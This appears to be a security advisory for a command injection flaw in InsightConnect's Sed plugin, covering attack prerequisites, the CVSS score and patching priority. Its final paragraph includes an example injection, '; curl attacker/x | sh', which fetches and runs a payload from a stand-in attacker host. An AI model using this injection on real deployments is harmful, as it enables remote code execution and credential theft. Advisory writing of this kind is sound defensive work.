InsightConnect Sed Plugin EUVD-2026-39153

Exploitation requires an authenticated InsightConnect user (CVSS PR:L) who can supply or influence the Sed plugin's expression parameter - typically a workflow author, or any data source feeding that parameter within a runnable workflow - on a Linux deployment where the Sed plugin is installed and used. No user interaction is required (UI:N) and the vector is network-reachable (AV:N) to the InsightConnect API/UI. Limiting factors: the attacker must already hold valid platform credentials with rights to create or trigger a workflow containing the Sed plugin, the plugin must be present and invoked, and the platform is Linux-specific; these conditions confine the attack surface to authenticated insiders or compromised accounts rather than anonymous internet attackers.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a network-reachable, low-complexity attack requiring some authentication (PR:L) and no user interaction, with high impact to confidentiality, integrity and availability - a serious score for an authenticated flaw. No EPSS score, KEV listing, or public POC was provided, so exploitation-probability signals are absent rather than low; the realistic risk is gated primarily by the PR:L requirement, meaning the attacker must already be an authenticated InsightConnect user able to build or run a workflow that invokes the Sed plugin. There is no SSVC decision data supplied. Net assessment: a genuine high-severity issue for any organization running this plugin, but the authentication prerequisite makes it more an insider/lateral-movement or compromised-account risk than mass internet-scale exploitation; with no KEV and no POC, prioritize patching on a standard expedited cycle rather than emergency-out-of-band unless the platform is broadly accessible.

An authenticated InsightConnect user with workflow-authoring privileges (or an attacker who has phished/compromised such an account) configures a step that calls the Sed plugin and supplies an expression value containing shell metacharacters or a sed e command, e.g. embedding ; curl attacker/x | sh. When the workflow runs, the crafted expression is passed to the OS command layer and the attacker's commands execute inside the plugin container, enabling credential theft, pivoting, or tampering with automation outputs. No public POC is identified, but the low attack complexity makes weaponization straightforward for anyone with access.